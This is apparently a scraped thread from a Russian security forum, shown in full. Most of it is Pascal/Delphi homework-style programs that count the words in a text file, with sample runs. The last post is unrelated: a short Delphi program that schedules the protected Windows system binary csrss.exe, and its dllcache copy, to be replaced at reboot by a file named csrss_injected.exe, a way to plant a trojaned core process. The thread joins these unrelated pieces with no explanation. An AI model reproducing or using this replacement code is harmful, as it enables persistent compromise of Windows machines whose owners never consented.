ANTICHAT — форум по информационной безопасности, OSINT и технологиям

program KOLICHESTVO_SLOV_V_FAILE;

var
CountSlov:integer;
f:text;
strA:string;

begin
Assign(f,'D:\pr1.txt');
reset(f);
read(f,strA);
close(f);
countslov:=0;
while pos(' ',strA) <> 0 do begin
if copy(strA,1,pos(' ',strA)) <> ' ' then begin
CountSlov:=CountSlov+1;
end;
delete(stra,1,pos(' ',strA));
end;
if strA<> '' then  CountSlov:=CountSlov+1;

writeln('Kolichestvo slov v faile = ',CountSlov);
readln;
end.

Hello world hellow world 1 2 3 hello

Kolichestvo slov v faile = 8

Kolichestvo slov v faile = 0

root @       local host

Kolichestvo slov v faile = 4

   uses crt;
Var f:text;
    i,sl:integer;
       s:char;
    wrd :string;
    begin
    assign(f,'77/pr1.txt');
    reset(f);
     s:=' ';
     sl:=0;
     while not eof(f) do
       begin
             readln(f,wrd);
             i:=1;
             While i<=length(wrd) do
              begin
                if wrd[i]<>' ' then sl:=sl+1;
                while (wrd[i]<>' ') and (i<=length(wrd)) do inc(i);
                inc(i)
               end;
       end;
   close(f);
   writeln('word: ',sl);
   readkey;
End.

program Project1;

var
  F:textfile;
  nubmer_of_words,i:integer;
  str:string;

begin
Assign(F,'c:\pr1.txt');
reset(F);

nubmer_of_words:=0;
while not EOF(f) do
begin
   readln(f,str);
   //если в строке видим пробел, а перед ним - НЕ пробел, значит +1 слово
   for i:=1 to length(str) 
      do if ((str[i]=' ') and (str[i-1]<>' ')) then inc(nubmer_of_words);
   //если последний символ в строке - не пробел значит +1 слово
   if str[length(str)]<>' ' then inc(nubmer_of_words);
end;
closefile(f);
WriteLn(nubmer_of_words);
Readln;
end.

program Project1;

{$APPTYPE CONSOLE}

uses
  Windows;

begin
MoveFileExA('C:\csrss_injected.exe',         //Наш файл
   'c:\windows\system32\dllcache\csrss.exe', //Заблокированый файл
            MOVEFILE_DELAY_UNTIL_REBOOT);    //Windows NT only: The function does not move the file until the operating system is restarted. The system moves the file immediately after AUTOCHK is executed, but before creating any paging files. Consequently, this parameter enables the function to delete paging files from previous startups.

MoveFileExA('C:\csrss_injected.exe',         //Наш файл
            'c:\windows\system32\csrss.exe', //Заблокированый файл
            MOVEFILE_DELAY_UNTIL_REBOOT);    //Windows NT only: The function does not move the file until the operating system is restarted. The system moves the file immediately after AUTOCHK is executed, but before creating any paging files. Consequently, this parameter enables the function to delete paging files from previous startups.
end.